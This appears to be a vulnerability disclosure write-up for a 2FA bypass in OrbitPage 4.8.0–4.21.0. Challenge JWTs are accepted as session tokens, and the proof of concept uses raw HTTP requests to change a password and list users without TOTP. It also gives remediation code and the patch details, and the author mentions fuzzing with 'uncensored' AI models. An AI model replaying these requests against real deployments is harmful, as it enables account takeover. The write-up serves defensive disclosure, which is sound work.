Two-Factor Authentication Bypass via JWT Challenge Token Reuse
Hi everyone 😄 Today I want to talk about an application with strong defenses and a huge attack surface: lots of roles, lots of endpoints. I started with the usual OWASP Top 10, and noticed fast that the maintainer had put real controls on the app. I could not find a single generic vulnerability.
Even when I fuzzed it with uncensored AI APIs and through my abliterated local models, nothing juicy came out. Nearly every provider failed to find a one-shot vulnerability, whether I pointed SAST at it or ran huntproxy, an automated DAST tool you connect over MCP so your harness can run DAST on its own, like a Burp Suite instance. Therefore, I got mad and obsessed with finding something that actually looked impactful. After my first two internships I had learned there is no such thing as an application with no vulnerability. Every app has at least a "MEDIUM".
Let me briefly dive into the application after below descriptions:
OrbitPage 4.8.0 -> 4.21.0 signs its two-factor challenge tokens and session tokens with the same key. I verified both through the same generic code path. The path checks both the signature and expiration. However, it never checks the token's purpose.
Therefore, an attacker who already had the password could take the challenge token OrbitPage hands out before TOTP verification. After that, attacker can use it as a session token. By using session token attacker can do the actions as compromised privileges such as
- change the password
- call authenticated role's APIs
I never test whether app provides TOTP code. However, I was sure that Two-factor authentication feels like deactivated. The vulnerability fixed in 4.21.1 and 4.21.2 is current version of application.
My Threat model: Exploitation requires knowledge of the target user's valid password. Although 2FA appears enabled, possession of the challenge token in affected versions allows the second-factor requirement to be bypassed.
Testing scope: The proof of concept in this article was reproduced against a local, self-hosted instance of the open-source OrbitPage project in an authorized testing environment. It does not demonstrate a compromise of the managed OrbitPage SaaS service or exploitation of any production deployment. CWE-287, Improper Authentication is the class of the vulnerability.
How authentication is supposed to work ?
Logging in without 2FA issues an ordinary session token once the password check passes. For a TOTP-protected account, the password check should only complete the first stage. OrbitPage returns a short-lived JWT instead:
Response:
{
"success": true,
"requiresTwoFactor": true,
"challengeToken": "eyJhbGci..."
}
That response & token clearly shows its purpose:
purpose: two-factor-login
audience: orbitpage-two-factor
issuer: orbitpage
The intended auth flow:

At this point the user has not authenticated. The challenge token exists to finish the second factor and nothing else. However, thanks to challenge token, after a creation of challenge token (giving correct user:pass combination), app behaved as already authenticated user.
Where the boundary failed ?
OrbitPage signed both token types using the same signing infrastructure and passed them through the same generic verification path:
export const verifyToken = (token) => {
try {
return jwt.verify(token, JWT_SECRET);
} catch (error) {
return null;
}
};
This function checks the signature and the expiration. It does not check purpose, audience, or issuer ,so the claims that distinguish a challenge token from a session token are never enforced. A token meant for the intermediate 2FA step passes as a full session.
The problem is that signature validity alone was treated as sufficient proof of authentication, when it needed to also verify what the token was issued for.

Challenge token payload (should be rejected, but accepted)
{
"username": "victim",
"authVersion": 0,
"purpose": "two-factor-login", -> IGNORED by verifyToken()
"aud": "orbitpage-two-factor", -> IGNORED by verifyToken()
"iss": "orbitpage", -> IGNORED by verifyToken()
"iat": 1789426953,
"exp": 1789427253
}
Session token payload (legit session, NO 2FA occurs)
{
"username": "editor",
"authVersion": 0,
"timestamp": 1789427398909,
"iat": 1789427398,
"exp": 1789470598
}
DISCLAIMER: All reproduction steps below were performed against a local self-hosted OSS instance of an affected OrbitPage version. No managed OrbitPage SaaS or production environment was tested or compromised.
Proof of Concept
1. Get the challenge token
Assume that 2FA is enabled and the password is already compromised, through phishing, credential reuse, or a leak. The attacker submits the valid credentials:
# POST Request Sent
POST /api/auth/login HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{
"username": "victim",
"password": "<known-password>"
}
OrbitPage recognizes that the account needs a second factor and responds:
## Burp Response
{
"success": true,
"requiresTwoFactor": true,
"challengeToken": "<redacted>"
}
The TOTP step is still pending. The attacker should not reach authenticated functionality yet.

2. Use the challenge token as a session token
Instead of submitting a TOTP code, I sent the challenge token to authenticated APIs using ordinary Bearer auth:
Authorization: Bearer <challengeToken>
Response manipulation did not work here. Endpoints that should only be reachable after the second factor accept the token. The server treats an intermediate authentication credential as a direct session.
3. Change the password without TOTP
The password-change endpoint shows the impact most clearly:
## POST Request Sent
POST /api/auth/change-password HTTP/1.1
Host: localhost:3000
Authorization: Bearer <challengeToken>
Content-Type: application/json
{
"currentPassword": "<known-password>",
"newPassword": "<new-password>"
}
The server accepts it without a TOTP code ever being provided:
## Burp Response
{
"success": true,
"message": "Password changed successfully",
"token": "<session-token>"
}
The endpoint also returned a new ordinary session token. A temporary authentication state has converted into a longer-lived one without completing 2FA authentication.

4. Confirm the password actually changed
To rule out a misleading API response, log in manually with the new password. It works, which confirms the server-side account state changed.
Let me also show the normal 2FA page:



5. Try any other authenticated endpoint
Every endpoint behind the same generic middleware accepts the challenge token. Signed in with an administrator account, supplying it to:
GET /api/users
returns the user list even though the second factor was never completed.

Scope clarification: The PoC above demonstrates the vulnerability against an affected local self-hosted OSS instance. It should not be interpreted as evidence that the managed OrbitPage SaaS service was compromised or that this attack was performed against a production deployment.
What the attacker gets & what they do not ?
The token keeps the authorization scope of the account it belongs to. It does not turn a low-privileged account into an administrator. An administrator account produces the worst outcome because administrators reach the widest set of functionality; an editor stays limited to what editors can do.
What the attacker does get is the end of the second factor, for every affected role.

4.8.0 through 4.21.0: The expected behavior stops at the second factor, while the vulnerable flow allows the challenge token to be used for authenticated actions without completing TOTP verification.The issue was related to authentication bypass instead of authorization escalation.
Signature validation is not enough
A valid signature proves who issued a token and that nobody modified it. It does not prove the token was issued for the operation being attempted. A token can be cryptographically sound and still be invalid for the current security context.
Applications with several JWT types should separate them clearly:
- Session Tokens
- Password Reset Tokens
- Email Verification Tokens
- 2FA Challenge Tokens
- API Tokens
- Refresh Tokens
Each type should only be accepted by the functionality it was issued for.
Simplified Illustrative Remediation
The following is a simplified example demonstrating the security principle. It is not the complete OrbitPage v4.21.1 patch.
One defense is to reject any token carrying a non-session purpose:
export const verifyToken = (token) => {
try {
const decoded = jwt.verify(token, JWT_SECRET);
if (decoded.purpose) {
return null;
}
return decoded;
} catch (error) {
return null;
}
};
Or the middleware can enforce it:
const decoded = verifyToken(token);
if (!decoded || decoded.purpose) {
return res.status(403).json({
error: "Invalid or expired token"
});
}
Beyond these fixes, you should validate token type explicitly, check audience, issuer , purpose for every authentication context. A credential created for one stage of authentication must not automatically become valid for another.
Actual OrbitPage v4.21.1 Remediation
The actual remediation released in OrbitPage v4.21.1 went beyond the simplified examples above and implemented multiple defense-in-depth controls.
The patch included:
- A distinct signing secret for two-factor challenge tokens, separating them from ordinary session credentials,
- Explicit HS256 algorithm pinning during JWT verification,
- Enforcement of the expected issuer, audience, and purpose for two-factor challenge tokens,
- Rejection of purpose-bearing tokens by the authenticated-session verifier,
- Rejection of legacy challenge tokens created under the previous same-secret design and regression tests covering both valid authentication behavior and challenge-token misuse.
The resulting design therefore does not rely on a single purpose check. Instead, it introduces separation at both the cryptographic and application-validation layers.
Affected and fixed versions
Affected: 4.8.0 through 4.21.0
First fixed applied: 4.21.1
Recommended now: 4.21.2
Upgrade if you're on an affected version.
Credits
Researcher / Reporter: Onurcan Genç
OrbitPage Maintainer: Paolo Ronco
Thanks to Paolo for the cooperation and the professional handling of the report.
References
GitHub Security Advisory
OrbitPage GitHub Repository
OrbitPage
Paolo Ronco






